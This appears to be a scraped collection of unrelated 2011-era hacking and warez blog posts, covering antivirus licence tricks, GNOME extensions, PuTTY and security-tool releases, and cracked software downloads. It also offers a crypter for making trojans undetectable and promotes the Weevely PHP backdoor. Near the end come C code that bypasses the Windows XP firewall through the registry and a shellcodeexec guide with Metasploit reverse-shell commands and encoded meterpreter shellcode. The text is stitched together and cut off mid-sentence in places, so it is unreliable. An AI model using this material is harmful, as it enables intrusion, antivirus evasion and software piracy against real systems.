Free Comodo Internet Security Pro 2012 one year license key

Comodo Internet Security Pro 2012 which is priced at $49.99. This promo will allow users to use the latest pro version completely free for a year.

Free Comodo Internet Security Pro 2012

Comodo Internet Security Pro comes with powerful cloud based Antivirus, Antispyware, and an excellent award winning firewall with defense plus technology that provides high-level of protection. The 2012 consumer products from Comodo is yet to be officially released, but users can start using the new version as the new installers has been already uploaded on the official Comodo servers.

Key Features of Comodo Internet Security Pro 2012:

• Antivirus, Anti-Spyware, Anti-Rootkit & Bot protection
• Defends your PC from Internet attacks
• Detects and eliminates viruses
• Prevents malware from being installed
• Auto Sandbox Technology™
• Easy to install, configure and use
• Remote Security & System Support

Thanks to Downloadcrew they are currently running a 1 year promo of Comodo Internet Security 2011. The special installer offered by the promo has a built in serial number that can be used in the new 2012 version. Which will require below steps.

Follow below steps to get Free Comodo Internet Security Pro 2012 one year license key

1. Download Comodo Internet Security Pro 2011 Here -> one-year special installer
2. Install and start Comodo 2011. Navigate to “More” -> “About” -> Serial Number -> “Copy”.
3. Save the serial number on your PC, you will need this serial to activate the 2012 version.
4. Download and Install Free Comodo Internet Security Pro 2012. During installation, enter the serial number that you received from the 2011 version.

Note: The installer will connect to the internet and automatically activate your subscription for 1 year (365 days).

Official GNOME Shell Extensions

Official GNOME Shell Extensions Available In The WebUpd8 GNOME 3 PPA For Ubuntu 11.10

The latest official GNOME Shell Extensions (version 3.2.0) are now available in the WebUpd8 GNOME 3 PPA for Ubuntu 11.10 Oneiric Ocelot. This PPA is an attempt to have all the stable GNOME 3.2 packages that aren't available in the official Ubuntu 11.10 repositories in a single place. Please note that I did not package this. I'm only uploading these packages to a single PPA.

GNOME Shell Extensions is an official GNOME package that provides additional functionality for GNOME Shell, like a classic menu, restore the power-off entry in the user menu, the user theme extension which allows you to easily switch between GNOME Shell themes and more.
 

 

Install GNOME Shell Extensions pack in Ubuntu 11.10 Oneiric Ocelot

Important: an user has reported that using the Alternative Status Menu extension without having a profile picture crashes GNOME Shell. So set a picture (under User Accounts) before installing this extension.


Firstly, add the WebUpd8 GNOME 3 PPA:

sudo add-apt-repository ppa:webupd8team/gnome3
sudo apt-get update

Below you'll find a description on what each extension does and how to install it:


- Alternative tab extension: use the classic ALT + Tab. Install:

sudo apt-get install gnome-shell-extensions-alternate-tab

- Alternative Status Menu extension : adds "Power off" and "Hibernate" to the status menu, visible at all time (and not just when pressing the ALT key). Install:
 es/THEME_NAME/gnome-shell or /usr/share/THEME_NAME/gnome-shell. This extension is especially useful when used with GNOME Tweak Tool. This way, you can install and switch between GNOME Shell extensions with a click. Install both User Theme extension and GNOME Tweak Tool:

 

sudo apt-get install gnome-shell-extensions-user-theme gnome-tweak-tool

- Workspace Indicator extension: displays the current workspace and lets you switch between workspaces (wither using its menu or by scrolling). Install:

sudo apt-get install gnome-shell-extensions-workspace-indicator

- Applications Menu extension: adds an regular (old-style) menu to the top GNOME Shell bar. Install:

sudo apt-get install gnome-shell-extensions-apps-menu

- Removable Drive Menu extension: adds a removable drive menu to the top GNOME Shell bar (on the right). Install:

sudo apt-get install gnome-shell-extensions-drive-menu

- SystemMonitor extension: adds two graphs to the GNOME Shell message tray, displaying the RAM and CPU usage. Install:

sudo apt-get install gnome-shell-extensions-system-monitor

- Places Status Indicator: adds a menu to the top bar in the old Places Menu style. Install:

sudo apt-get install gnome-shell-extensions-places-menu

- Dock extension: shows a dock-style task switcher

To customize the dock extension, install dconf-tools (sudo apt-get install dconf-tools), then launch "dconf-editor", navigate to org > gnome > shell > extensions > dock and here you can specify the dock position (left or right), enable or disable autohide, specify the hide effect or set the hide duration.

Install:

sudo apt-get install gnome-shell-extensions-dock

- Native Window Placement extension: uses a 'natural' (reflects more the position and size of the actual window) algorithm for displaying the thumbnails in the activities overview. Install:
 

sudo apt-get install gnome-shell-extensions-native-window-placement

- Xrandr Indicator (Monitor Status Indicator) extension: adds a systems status menu for rotating monitors (overrides what is currently provided by gnome-settings-daemon). Install:
 

sudo apt-get install gnome-shell-extensions-xrandr-indicator

- Auto Move Windows extension: this extension can be used to get some applications to always start on a specific workspace Install: 
 

sudo apt-get install gnome-shell-extensions-auto-move-windows

- Gajim extension: Gajim integration for GNOME Shell. Install:

sudo apt-get install gnome-shell-extensions-gajim

- Windows Navigator extension: Allow keyboard selection of windows and workspaces in overlay mode: when you hold the ALT key, a number is assigned to each window (displayed in the top left corner) and you can then press the number to switch to that window. Install:
 

sudo apt-get install gnome-shell-extensions-windows-navigator

Or, install them all using the following command (will also install GNOME Tweak Tool) - yeah, there's no meta package yet:

sudo apt-get install gnome-shell-extensions-alternate-tab 

gnome-shell-extensions-alternative-status-menu 

gnome-shell-extensions-user-theme 

gnome-tweak-tool 

gnome-shell-extensions-workspace-indicator 

gnome-shell-extensions-apps-menu 

gnome-shell-extensions-drive-menu 

gnome-shell-extensions-system-monitor 

gnome-shell-extensions-places-menu 

gnome-shell-extensions-dock 

gnome-shell-extensions-native-window-placement 

gnome-shell-extensions-gajim 

gnome-shell-extensions-xrandr-indicator 

gnome-shell-extensions-windows-navigator 

gnome-shell-extensions-auto-move-windows

Once installed, reload GNOME Shell (press ALT + F2 and enter "r" or log out and log back in), then use GNOME Tweak Tool to easily enable/disable extensions or switch between GNOME Shell themes on the fly - there's no need to restart GNOME Shell anymore.

Browser Based Hacking Framework - Mantra Security Toolkit 0.6.1 Released

Mantra is a collection of free and open source tools integrated into a web browser, which can become handy for students, penetration testers, web application developers,security professionals etc. It is portable, ready-to-run, compact and follows the true spirit of free and open source software.

The software is intended to be lite, flexible, portable and user friendly with a nice graphical user interface. You can carry it in memory cards, flash drives, CD/DVDs, etc. It can be run natively on Linux, Windows and Mac platforms. It can also be installed on to your system within minutes. Mantra is absolutely free of cost and takes no time for you to set up.

Mantra can be very helpful in performing all the five phases of attacks including reconnaissance, scanning and enumeration, gaining access, escalation of privileges, maintaining access, and covering tracks. Apart from that it also contains a set of tools targeted for web developers and code debuggers which makes it handy for both offensive security and defensive security related tasks.


Project Goals

• Create an ecosystem for hackers based on browser
• To bring the attention of security people to the potential of a browser based security platform
• Provide easy to use and portable platform for demonstrating common web based attacks( read training )
• To associate with other security tools/products to make a better environment.

You can download Mantra 0.6.1 here:
Linux 32-bit – Mantra Security Toolkit – Gandiva.tar.bz2
Windows – OWASP Mantra Security Toolkit – Gandiva.exe
Or read more here.

PuTTY v.0.61 Released

PuTTY 0.61 is out, after over four years , with new features, bug fixes, and compatibility updates for Windows 7 and various SSH server software.

                                                         

PuTTY is a free implementation of Telnet and SSH for Windows and Unix platforms, along with an xterm terminal emulator

These features are new in beta 0.61:

Kerberos/GSSAPI authentication in SSH-2.

Local X11 authorisation support on Windows. (Unix already had it, of course.)

Support for non-fixed-width fonts on Windows.

GTK 2 support on Unix.

Specifying the logical host name independently of the physical network address to connect to.

Crypto and flow control optimisations.

Support for the zlib@openssh.com SSH-2 compression method.

Support for new Windows 7 UI features: Aero resizing and jump lists.

Support for OpenSSH AES-encrypted private key files in PuTTYgen.

Bug fix: handles OpenSSH private keys with primes in either order.

Bug fix: corruption of port forwarding is fixed (we think).

Bug fix: various crashes and hangs when exiting on failure,

Bug fix: hang in the serial back end on Windows.

Bug fix: Windows clipboard is now read asynchronously, in case of deadlock due to the clipboard owner being at the far end of the same PuTTY's network connection (either via X forwarding or via tunnelled rdesktop).

Download: http://www.chiark.greenend.org.uk

Cryptinator - A simple Encryption Application

Today i decided to make a program like the following one i saw earlier.


But instead of just copying it exactly, i used a different encryption algorithm (polystairs) and different methods towards generating/compiling a code.

I am not sure what you would have use for this, but for me when ever i need a completely random string i will use this now.

Cryptinator ScreenShot:


Virus Scan
Download

 

iCrypt Err0r Version

This crypter makes Your Trojan undetectable.

Never Upload at virustotal use only NoVirusThanks.org




Download

http://www.4shared.com/file/z1KjxfDn/iCr...rsion.html

Acunetix Ver 7.0 Cracked Working and UPDATEABLE

Tested in : Windows xp desktop Pc and windows 7 Ultimate Laptop and its working and UPDATEABLE!! .. 

But  only use in Vmware because i am not 100 % sure if it is clean ... 

Thanks...

Download Info 

Code:

http://www.multiupload.com/EECTPQMDUH

A Stealth Tiny PHP Backdoor! weevely

With Weevely you can create and manage PHP trojan designed to be hardly detectable. This software is a proof of concept of an unobtrusive PHP backdoor that simulate a complete telnet-like connection, hidden datas in HTTP referers and using a dynamic probe of system-like functions to bypass PHP security restrictions. Generate PHP code to trojanize a web server, and act like a telnet client to execute commands or inject addictional function on backdoored server. weevely is also included in blackbox linux.

Features of weevely:

• Coded requests: Communication between backdoor server and client are done via normal HTTP requests, with a plausible fake HTTP_REFERER header field that contains coded commands to hide traffic from NIDS monitoring and HTTP log files review.
• PHP security bypass: The program try to bypass PHP configurations that disable sensible functions that execute external programs, enabled with the option disable functions located in php.ini. Weevely tries different system function (system(), passthru(), popen(), exec(), proc_open(), shell_exec(), pcntl_exec(), perl->system(), python_eval()) to find out and use functions enabled on remote server.
• Tiny server: The backdoor server code is small and easily hideable in other PHP files. The core is dinamically cripted, aim to bypass pattern matching controls.
• Modularity: Is simple to increment backdoor server feature with modules, injecting PHP code through the backdoor to implement new functionality on remote server. Code and load new modules is really easy. Current additional modules are: check safe mode, read file, download file on remote server, search writable path .

Sure looks good to be installed when you have control of a server and want to control it remotely. It is open source, so can be modified in case it is detected by anti-viruses.

Download Weevely v0.3 (weevely-0.3.tar.gz) here.

How to Bypass Windows XP Firewall

How to Bypass Windows XP Firewall using C program.

Hello Friends, today i will share with you the technique using which we can bypass windows-xp service pack-2 firewall. Its a 100% working hack and its basically an exploit in windows XP.

This techniques is nothing but the vulnerability found in windows-xp sp2 firewall.


Windows XP Firewall Bypassing (Registry Based) :- Microsoft Windows XP SP2 comes bundled with a Firewall. Direct access to Firewall's registry keys allow local attackers to bypass the Firewall blocking list and allow malicious program to connect the network.

Vulnerable Systems :-
* Microsoft Windows XP SP2

Windows XP SP2 Firewall has list of allowed program in registry which are not properly protected from modification by a malicious local attacker.If an attacker adds a new key to the registry address of  

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List

 the attacker can enable his malware or Trojan to connect to the Internet without the Firewall triggering a warning.

Proof of Concept :-
Launch the regedit.exe program and access the keys found under the following path:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List

Add an entry key such as this one:
Name: C:\chat.exe
Value: C:\chat.exe:*:Enabled:chat

Source Code :-

#include <*stdio.h*>
#include <*windows.h*>
#include <*ezsocket.h*>
#include <*conio.h*>
#include "Shlwapi.h"
int main( int argc, char *argv [] )
{
char buffer[1024];
char filename[1024];
HKEY hKey;
int i;
GetModuleFileName(NULL, filename, 1024);
strcpy(buffer, filename);
strcat(buffer, ":*:Enabled:");
strcat(buffer, "bugg");
RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services" "\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile" "\\AuthorizedApplications\\List",
0,
KEY_ALL_ACCESS,
&hKey);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

int temp, sockfd, new_fd, fd_size;
struct sockaddr_in remote_addr;
fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n");
fprintf(stdout, " This is not trojan \n");
fprintf(stdout, " Opened port is :2001 \n");
fprintf(stdout, "author:Adnan Anjum\n");
fprintf(stdout, "Dedicated to hackguide4u \n");
sleep(3);
if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
return 0;
for (; ; )
{
RegDeleteValue(hKey, filename);
fd_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
{
perror("accept");
continue;
}
temp = send(new_fd, "Hello Pakistan\r\n", strlen("Hello Pakistan\r\n"), 0);
fprintf(stdout, "Sended: Hello Pakistan\r\n");
temp = recv(new_fd, buffer, 1024, 0);
buffer[temp] = '\0';
fprintf(stdout, "Recieved: %s\r\n", buffer);
ezclose_socket(new_fd);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));
if (!strcmp(buffer, "quit"))
break;
}
ezsocket_exit();
return 0;
}
/* EoF */

Remove ** from the header files... easier to understand...Here we are just manipulating registry values using this program...

BT4 Assuring Security by Penetration Testing

If you are working in the “information security” field, you must know the BackTrack distribution (otherwise you must be an alien coming from a far away planet!). If you search for the word “backtrack” on Amazon, you will find lot of references but only one book is fully dedicated to the Linux distribution: “BackTrack 4: Assuring Security by Penetration Testing“. I received a copy directly from the publisher and here is my review.

Just for those who are not familiar with BackTrack, it’s a Linux distribution made by security professionals for security professionals: It contains hundreds of tools to perform security assessments and penetration tests. Some of them are well-known like Metasploit, WebScarab or sqlmap and others are real gems (example: ua-tester which was added recently) and  increase the quality of the toolbox version after version.

Even if BackTrack 5 was released a few weeks ago, it does not reduce the book quality. There are so many tools that a single volume is not enough to cover all of them.The following chapters covered the classic penetration testing schema:

• Target scoping
• Information gathering
• Target discovery
• Enumerating target
• Vulnerability mapping
• Social engineering
• Target exploitation
• Privilege escalation
• Maintaining access
• Documentation and reporting

Each chapter reviews the most interesting tools (according to the authors) to achieve the chapter topic. Tools are briefly explained with examples. Straight to the point!
So, who’s need this book? The author’s goal is certainly not to give recipes on “how to hack a website“. The book must been see as a reference for those who already know the BackTrack distribution or who want to learn it. Don’t forget: this is just a toolbox, it does not prevent you to use your brain!
More information about the book here.

Make Your Computer Login Screen Like FBI Tunnel

Step 1 : Download Logon Studio ,

LogonStudio 1.7 | 7Mb

Information:

Longing for some change in your life? Why not start with that boring old Windows XP logon screen? With the freeware LogonStudio, choosing another screen is a matter of two clicks. Alternately, you can design your own with a built-in editor.
The first option is a lot easier. About 30 cool screens are available on the WinCustomize site, and the program can randomly select one on every boot. Editing is less straightforward. You build or modify logon screens by tweaking parameters on a lengthy list of elements. So you might, for instance, change the FirstColor parameter of the Centre Panel element to a new shade of blue. This allows you to customize everything from background to letterings to buttons, but beginners will find the process quite confusing. The sketchy online help isn't much assistance, either.

Download For Windows Vista(Works With WIndows 7 too)

http://www.filesonic.com/file/1116137624

Download For WindowsXp:

http://www.filesonic.com/file/1116137664

2, Download FBI Files From Here:

http://www.filesonic.com/file/1116137644

3, iF YOU WANT TO REMOVE SWITCH USER BUTTON THEN YOU CAN DO WITH THIS REGISTERY TWEAK.

http://www.filesonic.com/file/1116137654

Download BackTrack 5

How to download BackTrack 5

Download BackTrack 5 directly

Download BackTrack 5 from Mirror - Download BackTrack 5 Torrent

Name:     BT5-KDE-32.torrent
   
Size:           1840
   
Flavor:        KDE
   
Arch:          32 bit
   
Image:       ISO
   
Download BackTrack 5 KDE-32Bit  From Here  :     Torrent
   
MD5:     4150643026d292717f77ebb83948a034
     
=================

Name:     BT5-KDE-64.torrent
   
Size:            1800
   
Flavor:         KDE
   
Arch:           64 bit
   
Image:         ISO
   
Download BackTrack 5 KDE-64Bit From here :     Torrent
   
MD5:     80d65610de90ac7ede49b9f7935dfdd2
     
==================


Name:     BT5-GNOME-32.torrent
   
Size:                  1910
   
Flavor:              GNOME
   
Arch:                 32 bit
   
Image:               ISO
   
Download BackTrack 5 Gnome-32Bit From Here :       Torrent
   
MD5:                 b01a93a916fabb6d1640bd0054428e17

============================================

Name:              BT5-GNOME-64.torrent
   
Size:                1870
   
Flavor:            GNOME
   
Arch:               64 bit
   
Image:             ISO
   
Download BackTrack 5 Gnome-64Bit From Here:     Torrent
   
MD5:                75c4e7a969abc873d9e085656b156345

VMware Workstation v7.1.3-32 + serial

VMware Workstation v7.1.3-32 + serial | 560.35 MB


rom the creator of PC virtualization comes the most reliable, secure way to run multiple operating systems at the same time. Winner of more than 50 industry awards, VMware Workstation transforms the way technical professionals develop, test, demo, and deploy software. VMware Workstation is an integral component of any serious technical professional's toolkit.
Get Maximum Performance for Windows 7
VMware Workstation 7 is optimized for maximum performance when running on 32-bit and 64-bit Windows 7 PCs. Supports Flip 3D and Aero Peek to show live thumbnails of your virtual machines. Run legacy application with 3D graphics, faster performance, and tighter desktop integration better than Windows XP Mode. Get shared folders and drag and drop convenience.
Gain an Indispensable Tool
Automate and streamline tasks to save time and improve productivity. Run applications in Linux, Windows, and more at the same time on the same PC with no rebooting. Evaluate and test new operating systems, applications and patches in an isolated environment. Demonstrate complex software applications on a single laptop in a repeatable, reliable manner. Rich integration with Visual Studio, Eclipse, and the SpringSource Tool Suite make it incredibly easy to debug applications on multiple platforms.
Run Your Most Demanding Applications on the Most Advanced Virtualization Platform
Create virtual machines with up to 8 virtual processors or 8 virtual cores, 2 TB virtual disks and up to 32 GB of memory per virtual machine to run the most demanding applications. Protect your virtual machines from prying eyes with 256-bit AES encryption and smart card authentication.




Download :


http://www.filesonic.com/file/928338071/VMware.Workstation.v7.1.3-32.serial.part1.rar
http://www.filesonic.com/file/928380384/VMware.Workstation.v7.1.3-32.serial.part2.rar

Introduction to C++

Overview

A computer is a machine that receives instructions and produces a result after performing an appropriate assignment. Since it is a machine, it expects good and precise directives in order to do something. The end result depends on various factors ranging from the particular capabilities of the machine, the instructions it received, and the expected result.

As a machine, the computer cannot figure out what you want. The computer doesn't think and therefore doesn't make mistakes.
Computer programming is the art of writing instructions (programs) that ask the computer to do something and give a result. A computer receives instructions in many different forms, four of which are particularly important.

The first instructions are given by the manufacturers of various hardware parts such as the microprocessor, the motherboard, the floppy and the CD-ROM drives, etc. These parts are usually made by different companies, setting different and various goals that their particular part can perform. The instructions given to the microprocessor, for example, tell it how to perform calculations, at what speed, and under which circumstances. The instructions given to the motherboard tell it to behave like a city where people and cars can move from one part of the town to another, back and forth, for various reasons; this allows information to flow from one part of the city, I mean one section of the computer, to another.

Once the instructions given to the hardware parts are known, software engineers use that information to give the second sets of instructions to the computer. These instructions, known as an operating system, are usually written by one company. These second instructions tell the computer how to coordinate its different components so the result will be a combination of different effects. This time, the computer is instructed about where the pieces of information it receives are coming from, what to do with them, then where to send the result. This time also the operating system designers impose a lot of behaviors to the computer as a machine. Again this time, some computer languages are developed so that programmers can write applications as the third set of instructions. It is like developing languages that people in a city can use to talk to each other. Consider that from now on (once the OS is developed), people get into the habit of doing things according to their particular culture or taste, speaking different languages that their neighbor doesn't understand... Luckily, the computer, I should say the OS, understands all these languages (I can't guaranty that). Some of the operating systems on the market are: Microsoft Windows 3.X, Corel Linux, IBM OS\2, Microsoft Windows 9X, Apple OS 10, Red Hat Linux, Microsoft Windows Millennium, BeOS, Caldera Linux, Microsoft Windows 2000 etc. A particular OS (for example Microsoft Windows 98) depending on a particular processor (for example Intel Pentium) is sometimes referred to as a platform. Some of the computer languages running on Microsoft Windows operating systems are C++, Pascal, Basic, and their variants. 

The actual third set of instructions are given to the computer by you, the programmer, using one or more of the languages that the operating system you are planning to use can understand. Your job is going to consist of writing applications. As a programmer, you write statements such as telling the computer, actually the operating system, that "If the user clicks this, do the following, but if he clicks that, do something else. If the user right clicks, display this; if he double-clicks that, do that." To write these instructions, called programs, you first learn to "speak" one of the languages of the OS. Then, you become more creative... Some of the application programs in the market are Microsoft Word, Lotus ScreenCam, Adobe Acrobat, Jasc Paint Shop Pro, etc.

The last instructions are given by whoever uses your program, or your application. For example, if you had programmed Microsoft Word, you would have told the computer that "If a user clicks the New button on the Standard toolbar, I want you to display a new empty document. But if the user clicks File -> New..., I want you to 'call' the New dialog and provide more options to create a new document. If the same user right-clicks on any button on any of the toolbars, I want you to show, from a popup menu, all the toolbars available so she can choose which one she wants. But if she right-clicks on the main document, here is another menu I want you to display." At this time, you have probably realized that the users of your programs depend on your techniques as a developer to provide an easy to use application (that's what recruiters and employers call experience and creativity). You depend on the computer language that you are actually using (every computer language has its ups and downs). Your computer language depends on the operating system it is running on (different

operating systems have different strengths and weaknesses). The operating system depends on the microprocessor or the machine it is running in (the biggest difference between two microprocessors is the speeds at which each processes information).

Your interest here is on the computer languages, since you are going to write programs. There are various computer languages, for different reasons, capable of doing different things. Fortunately, the computer can distinguish between different languages and perform accordingly. These instructions are given by the programmer who is using compilers, interpreters, etc, to write programs. Examples of those languages are Basic, C++, Pascal, etc

Your Way to grsec/PaX Bypass-stackjacking

Technique to exploit grsecurity/PaX-hardened Linux kernels.  Read on for a brief overview of our presentation and a link to the full slides and PoC code.
By (Dan Rosenberg and jon oberheide)

The Stackjacking Technique

In our slides, we presented a technique to exploit a grsecurity/PaX-hardened Linux kernel (eg. GRKERNSEC_HIGH) given the existence of two exploitation primitives:

• an arbitrary kernel write; and
• a kernel stack memory disclosure

To be clear, this attack vector is completely unnecessary when exploiting a vanilla Linux kernel, since an arbitrary write is more than sufficient to get root, given the vast amount of useful targeting information Linux gives out via /proc, etc. Likewise, the kernel stack memory disclosure is also unnecessary on vanilla, since there are much easier ways of getting this information. However, due to GRKERNSEC_HIDESYM (which aims to remove all known sources of info leakage), PAX_KERNEXEC (which makes global data structures with known locations read-only), and other mitigation features of grsecurity/PaX, effective exploitation is orders of magnitude harder than a vanilla kernel and took a few interesting twists.
Our technique can be broken down into three distinct stages:

• Stack self-discovery: We observed that kernel stack memory disclosures can leak sensitive addresses to userspace.  In particular, if we can leak a pointer TO the kernel stack that resides ON the kernel stack, we can calculate the base of our own process’ kernel stack: kstack_base = leaked_addr & ~(THREAD_SIZE-1).  We call this technique stack self-discovery.
• Stack groping: If our end goal is to read the address of our process’ cred structure and use our write to modify it and escalate privileges, we need to turn our kleak+kwrite into an arbitrary read.  We discovered two such techniques to do this: (1) the Rosengrope technique that modifies addr_limit in thread_info metadata stored at the base of the kstack to allow arbitrary reads from kernel space to userspace; and (2) the Obergrope technique that manipulates saved registers within a kernel stack frame that are later popped and used as the source address for copy_to_user()/put_user() operations.
• Stack jacking: After constructing our arbitrary read from a kleak+kwrite, we read the task_struct address out of thread_info at the base of the kstack and then read the cred struct address out of task_struct. Armed with the address of our process’ credential structure and an arbitrary write, we modified our uids/gids/caps to escalate privileges.

For the full details, please see the presentation materials and PoC code:

• Infiltrate 2011 [PDF]
• Hackito Ergo Sum 2011 [PDF]
• PoC Code [GITHUB]

The Response

If you haven’t yet read spender’s response to our presentation, I recommend doing so.  While I’ll refrain from commenting on the political aspects of his post, I’ll happily comment on the technical aspects.  The fixes that spender and pipacs have released have mitigated the particular exploit vectors we used to perform the stack groping stage of our attack against the grsec/PaX kernel:

• The thread_info struct has been moved out from the base of the kernel stack preventing the Rosengrope technique from being able to write KERNEL_DS into the addr_limit member.
• The RANDKSTACK feature, now available on both i386 and amd64, frustrates the Obergrope technique as the randomization of the kernel stack pointer on each system call makes writing into a particular offset in the stack frame unreliable.

Props to spender and pipacs for cranking out those fixes as well as a number of other enhancements.  While the latest grsecurity patch effectively prevents the current vectors we discovered and presented in our talks at HES and Infiltrate, there are several loose ends I need to investigate to ensure the fixes address other potential exploitation vectors.
More on that later…

Bypass Antivirus Protection And Execute Metasploit Payloads

Shellcodeexec: Execute Metasploit Payloads Bypassing Antivirus Protection!
Picture this – you are performing a penetration test and you find a unpatched machine. The machine is so ill-patched that you can even run the SMBv2 (CVE-2009-3103) exploit via Metasploit and your execute from memory meterpreter script fails you. The antivirus flags you and your exploit runs unsuccessfully. msfencode does not help either! What do you do then? Use Shellcodeexec, a script to execute in memory a sequence of opcodes. Its current features include:

• Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
• Can be compiled and works on 32-bit and 64-bit architectures.
• As far as I know, no AV detect it as malicious.
• Works in DEP/NX-enabled environments: it allocates the memory page where it stores the shellcode as +rwx – Readable Writable and eXecutable.
• It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit’s msfpayload) to Metasploit’s msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode.
• Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours.

How to use shellcodeexec?
The author presents perfect examples to run the tool. We have listed them as under:
1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example for a Linux target:

1	$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

Or for a Windows target:

1	$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

2. Execute the Metasploit multi/handler listener on your machine. For example for a Linux target:

1	$ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E

Or for a Windows target:

1	$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E

3. Execute the alphanumeric-encoded shellcode with this tool. For example on the Linux target:

1	$ ./shellcodeexec

Or, on the Windows target:

1	C:WINDOWSTemp>shellcodeexec.exe

Download shellcodeexec (inquisb-shellcodeexec.zip) here.

2nd:

Background

Most of the shellcode launchers out there, including proof of concepts part of many security books, detail how to allocate a memory page as readable/writable/executable on POSIX systems, copy over your shellcode and execute it. This works just fine. However, it is limited to POSIX, does not necessarily consider 64-bit architecture and Windows systems.

Description

This script and the relevant project files (Makefile and Visual Studio files) allow you to compile the tool once then run your shellcode across different architectures and operating systems.

Moreover, it solves a common real world issue: the target system's anti virus software blocking a Metasploit-generated payload stager (either EXE of ELF). Take for instance the following command line:

$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/shikata_ga_nai -o /tmp/payload.exe -t exe

This generates a Metasploit payload stager, payload.exe, that as soon as it lands on the AV-protected target system is recognized as malicious and potentially blocked (depending on the on-access scan settings) by many anti virus products. At the time of writing this text, 21 out 41 anti viruses detect it as malicious. By encoding it multiple times with msfencode, less AV softwares detect it, still a lot.

I have been surfing the Net and found some interesting tutorials and guides about packing, compressing, obfuscating and applying IDA-foo to portable executables et similar in order to narrow down the number of AV products that can detect it as a malicious file. This is all interesting, but does not stop few hard-to-die anti viruses to detect your backdoor.

So the question is, how cool would it be to have a final solution to avoid all this hassle? This is exactly where this tool comes into play!

Features

shellcodeexec:

• Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
• Can be compiled and works on 32-bit and 64-bit architectures.
• As far as I know, no AV detect it as malicious.
• Works in DEP/NX-enabled environments: it allocates the memory page where it stores the shellcode as +rwx - Readable Writable and eXecutable.
• It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit's msfpayload) to Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode.
• Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours.

Example

1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example for a Windows target:

$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

[*] x86/alpha_mixed succeeded with size 634 (iteration=1)

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E
4LKV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KR
ZPPRQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP
4NkEQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6Nk
VlRkNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQ
xVSGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeR
pV0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7
E8NyI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKO
N5LKP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC
1KsVIO6OuZVCEXlISAA

2. Execute the Metasploit multi/handler listener on your machine. For example for a Windows target:

$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E

3. Execute the alphanumeric-encoded shellcode with this tool. For example on the Windows target:

C:\WINDOWS\Temp>shellcodeexec.exe PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E4L
KV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KRZPP
RQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP4Nk
EQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6NkVlR
kNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQxV
